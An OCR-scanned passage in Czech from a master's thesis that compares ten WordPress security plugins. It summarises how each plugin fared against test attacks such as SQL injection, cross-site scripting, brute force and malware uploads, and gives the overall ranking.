a jako novy soubor do adresafe /wp-admin/ a /wp-content/themes/twentysixteen/. Pluginu
Jetpack, Acunetix WP Security, BulletProof Security a Shield Security for WordPress se
nepodarilo najit ani jeden ze $kodlivych sobord. Ostatni pluginy nalezly vzdy alesponi
jeden malware, a to v adresaii /wp-admin/. Z analyzovanych plugini dopadl v tomto ohledu

nejlépe SecuPress.

Z hlediska obrany proti piistupu k souborim s citlivymi informacemi bylo u kazdého
pluginu analyzovano, zda zjiStuje nedostatecnd prava soubord a slozek a zda umoznuje
jejich napravu nebo zamezuje prochdzeni soubori ve slozce skrze prohlize¢. Dale bylo
analyzovano, zda plugin umoziuje vypnout podporu editoru $ablon a plugint a zda chrani
webovou aplikaci proti zjisténi verze pouzit¢ho WordPressu. Béhem analyzy bylo zjisténo,
ze polovina z vybranych pluginti nekontroluje prava souborti ani slozek a neumoziuje
vypnout prochazeni obsahu slozky z prohlizeCe. Vypnout editor se podafilo ve vSech
pluginech kromé pluginu Jetpack, Wordfence Security, Acunetix WP Security a BulletProof
Security. Verzi pouzitého WordPressu se podatilo pomoci nastroje WPScan zjistit u vSech
analyzovanych plugind. Vétsina pluginti ale redukuje pocet zpisobu, jakymi lze verzi zjistit.
Pouze plugin Jetpack, Sucuri Security a NinjaFirewall viibec nedokazali zjisténi verze

WordPressu zabranit.

K provedeni atoku SQL Injection byl nalezen plugin se zranitelnosti ve dvou parametrech
v URL. Oba parametry umoznovaly vlozit a nasledné spustit Skodlivy kod. Zaroven bylo
analyzovano, zda plugin umozniuje zménit prefix v nazvu tabulek, potlacuje chybové zpravy
z databaze a zda vyzaduje aktualizaci zastaralého pluginu s existujici zranitelnosti nebo
alesponi na tuto skute¢nost upozortiuje. Utok na jeden z parametri byl proveden nastrojem
sglmap, a kromé pluginu BulletProof Security a NinjaFirewall byl u vSech ostatnich plugini
uspé$ny. Do druhého parametru byl Skodlivy koéd vlozen manualné a pouze plugin
NinjaFirewall dokézal atok zcela zablokovat. U pluginu Wordfence, iThemes Security,
BulletProof Security, Shield Security a SecuPress byl skodlivy kod kvili vyrazu UNION
SELECT zablokovan, ale podafil se najit ekvivalentni zapis, ktery jiz bez problému prosel.
Chybové zpravy dokazal potla¢it pouze plugin Acunetix WP Security, av§ak v celkovém
hodnoceni obrany proti SQL Injection skon¢il spole¢né s pluginem Jetpack a Sucuri Security
mezi ttemi nejhorsimi pluginy. Naopak mezi tfemi nejlepsimi skon¢il plugin NinjaFirewall,

BulletProof Security a All In One WP Security.
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Pro analyzu bezpecnostnich plugint z hlediska obrany proti Cross-Site Scripting, byl do
WordPressu nainstalovan plugin, ktery tento ttok umozioval prostfednictvim nedostate¢né
oSetfené¢ho uZivatelského vstupu v komentarich u ¢lanka. U pluginii bylo analyzovéano, zda
plugin dokaze $kodlivy kod v komentati rozeznat a odeslani zablokovat. Zadny z vybranych
plugini komentat zablokovat nedokazal. Plugin BulletProof Security jako jediny obsahuje
funkci, ktera dokaze nalézt Skodlivy kod v databazi. Vlozeny Skodlivy kod rozeznat ale
nedokazala. Poslednim analyzovanym prvkem byla moznost nastavit bezpe¢nostni HTTP
hlavicky a atribut HttpOnly u hlavicky Set-Cookies. Z vybranych plugini pouze plugin
NinjaFirewall, Shield Security for WordPress, Sucuri Security a All In One WP Security

umoziuji nastavit vzdy alespon jeden ze zminénych hlavicek, resp. atributi.
5.2 Diskuse

Analyza efektivnosti bezpecnostnich plugini byla provadéna na webovych strankach
bézicich na nejnovéjsi verzi systému WordPress. Pouzita byla verze 4.9.1 a béhem psani
diplomové prace doslo k vydani verze 4.9.4. Verze 4.9.1 byla vydana v listopadu 2017
averze 4.9.4 v unoru 2018. Vyvoj WordPressu je tak velice rychly a za vydavanim novych
verzi stoji oprava zjiSténych chyb v kodu, implementace novych funkci nebo oprava
bezpecnostnich nedostatkli. Z analyzovanych bezpecnostnich mechanismil pouze obrana
proti zjisténi uzivatelského jména, utoku hrubou silou a piistupu k soubortim s citlivymi
informacemi pifimo souvisi s funkcemi WordPressu ak nim patficim zranitelnostem.
Vzhledem k tomu, Ze se jedna o funkce, které ve WordPressu existuji jiz nékolik let, tak 1ze
predpokladat, ze v nejbliz§i dobé nedojde k jejich odstranéni ¢i vyrazné uprave. EXistuje
ovSem riziko, kdy dojde napt. k odstranéni uzivatelského jména v URL u odkazu na autora
¢lanku, odstranéni XML-RPC nebo jinym zméndm a vysledné pofadi bezpecnostnich

pluginii nebude odpovidat pouzité verzi systému WordPress v této diplomové praci.

SQL Injection a XSS tutok vyuzival zranitelnosti nainstalovanych pluginii. V nové verzi
pluginu je vétSinou bezpe€nostni dira odstranéna a Gitok nasledné nelze provést. Pro analyzu
obrany proti zminénym utokiim byly zamérné z oficialnich stranek WordPressu stazeny
staré¢ verze pluginti obsahujici zranitelnost. S nejnovéjs§imi verzemi plugint by se stejny utok
nepovedl. Existuje ale spousta dalSich plugini nebo Sablon, které zranitelnost vii¢i SQL

Injection nebo XSS maji.
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Bezpecnostni pluginy byly stazeny z oficidlnich strdnek WordPressu v nejnovéjsi verzi.
Jednotlivé verze jsou zminény u popisu kazdého pluginu nebo v tabulce se souhrnnym
zhodnocenim jednotlivych komparaci (Tabulka 11). U nékterych plugini byla zakoupena
placend verze, kterd oproti bezplatné verzi, obsahovala v§echny funkce potfebné k obrané
proti vybranym utokim. Zakoupeni placené verze i u ostatnich plugint by v jednotlivych
komparacich vedlo k ziskani vétsiho poc¢tu bodi a pravdépodobné i ke zméné celkového
poradi. Stejné tak by se celkové potfadi mohlo zménit pfi vybrani jinych ¢&iselnych verzi

bezpecnostnich plugint.

Kazdy bezpecnostni plugin byl dikladné prozkouman a pied provadénim utoku nebo
pouzitim funkce pluginu byly nastaveny vSechny dostupné obranné mechanismy, které
mohly utoku zabranit nebo maximalizovat UCinek dané funkce. Kvili nepiehlednému
uzivatelskému rozhrani a velkému poctu nastaveni v n€kterych pluginech, se mohlo stét, ze
nékteré nastaveni bylo opomenuto. Je nutné si ovSem uvédomit, Ze 1 kvalitni uzivatelské
rozhrani bezpecnostniho pluginu je diilezité pro zabezpeceni webové aplikace. Pokud bylo

nékteré nastaveni opomenuto, tak adekvatné ziskal plugin méné bodi.
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6 Zavér

Tato prace méla za cil analyzovat a interpretovat efektivnost vybranych plugint, které slouzi
k zabezpeCeni webovych stranek zaloZzenych na systému WordPress. Vybrano bylo
deset nejpouzivangjSich plugint, mezi které patii Jetpack, Wordfence Security, iThemes
Security, All In One WP Security & Firewall, Sucuri Security, Acunetix WP Security,
BulletProof Security, Shield Security for WordPress, NinjaFirewall spole¢né s NinjaScanner
a SecuPress. Vynechany byly pluginy, které jsou méné pouzivané, specializuji se pouze na
jeden typ ttoku nebo neobsahuji dostate¢ny pocet funkci. U pluginu Jetpack, Sucuri Security
a SecuPress musela byt zakoupena placena verze, protoze v bezplatné verzi plugin
nepovoloval potiebné funkce.

L

Na zéklad¢ publikovanych ¢lankt byly vybrany nejb&znéjsi utoky proti systému WordPress.
Vybrané utoky byly provedeny na webové strdnky k t¢émto Géelim vytvofenym. Kazda
webova aplikace béZzela na WordPressu a méla nainstalovany jeden bezpeénostni plugin.
Analyzovana byla efektivnost bezpecnostniho pluginu z hlediska obrany proti zjisténi
uzivatelského jméno, utoku hrubou silou, malwaru, pfistupu k souborim s citlivymi

informacemi, SQL Injection a Cross-Site Scripting.

U kazdého pluginu byly zjisténé vysledky ze vSech provadénych ttoki bodové ohodnoceny.
Na zakladé ziskanych bodu bylo sestaveno poradi plugini pro kazdy provadény utok.
Celkové potadi plugini bylo stanoveno metodou pofadi, tedy souétem poradi ze vSech
provadénych komparaci. Jako nejefektivnéjsi bezpecnostni plugin vysel All In One WP
Security nasledovany pluginem NinjaFirewall s NinjaScannerem, SecuPress, iThemes
Security, Shield Security for WordPress, Wordfence Security, Sucuri Security, BulletProof
Security a Acunetix WP Security. Posledni skoncil plugin Jetpack, ktery je se 4 mil.
aktivnimi instalacemi nejpouzivangj$im z vybranych plugint. Plugin kromé zabezpeceni
webové aplikace nabizi dalsi uzite¢né funkce, které jsou pravdépodobné hlavnim divodem
jeho vysoké popularity. Na druhém a tfetim misté skoncily pluginy, které jsou ze vSech

analyzovanych plugint pouzivany nejméné. Lze tak ocekdvat, Ze jejich popularita poroste.

Z diivodu zvySeni objektivity komparace byl vytvofen komparacni nastroj, resp. webova
aplikace, ve které wuzivatel v interaktivnim dotazniku stanovi priority obrannych
mechanismi a funkci. Ziskané hodnoty z dotazniku a analyzy bezpe€nostnich plugini

aplikace vyhodnoti a vygeneruje celkoveé potadi plugint.
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Prace by se dale dala rozsifit o zbylou ¢ast bezpe€nostnich plugind, které ov§em neobsahuji
ochranu proti vS§em béznym utokiim. Nékteré pluginy se napiiklad specializuji pouze na
jeden typ utoku. Celkova komparace by pak ztracela smysl a jednotlivé pluginy by musely
byt hodnoceny z hlediska obrany proti jednomu konkrétnimu Gtoku. Struktura této prace by
tak musela byt pozménéna. Lze ocekavat, ze v budoucnu piibydou nové bezpecnostni
pluginy nebo se rozsiti dostupnost funkci u plugini soucasnych. Tyto pluginy by mohly byt
do prace zahrnuty a porovnany s pluginy analyzovanymi v této praci. Dale by se prace mohla
roz$ifit o analyzu bezpecnostnich plugini z hlediska sily generovanych tokend, kvality

otisku hesla v databazi nebo obrany proti méné béznym utokiim na webovou aplikaci.

Diplomova prace uceluje zakladni principy hackingu z nékolika Ceskych, a pfedevsim
zahrani¢nich kniznich zdroja a publikovanych ¢lanki. Nabyté védomosti umozinuji pochopit
bezpecnostni problémy webovych aplikaci a provést opatfeni k jejich zabezpeceni. Zjisténé
poznatky v analyze efektivnosti bezpe¢nostnich plugini systému WordPress a komparaci
plugintl, l1ze vyuzit k vybéru vhodného pluginu pro zabezpeceni vlastni webové aplikace.
Administrator webové aplikace, kterd ma jiz bezpe¢nostni plugin nainstalovan mtze diky
zjisténym vysledkim v této praci prehodnotit svou dfiveéjsi volbu a nainstalovat plugin
efektivnéj$i. Ukazky jednotlivych utokd v praktické ¢asti mohou byt pouzity v ramci
penetra¢niho testovani vlastni webové aplikace. V nékterych ptipadech i bez ohledu na to,

zda aplikace vyuziva systém WordPress.

Zjisténé nedostatky v bezpe€nostnich pluginech mohou vyvojafi vyuzit k Gprave
dosavadnich funkci nebo vytvoreni funkci novych, jez zabrani utokim, které se podaftilo
béhem analyzy GspéSné provést. Ziskané poznatky z této diplomové prace mohou vyvojati
vyuzit pfi vyvoji novych bezpecnostnich pluginii nebo webovych aplikaci, které nebézi na

systému WordPress.
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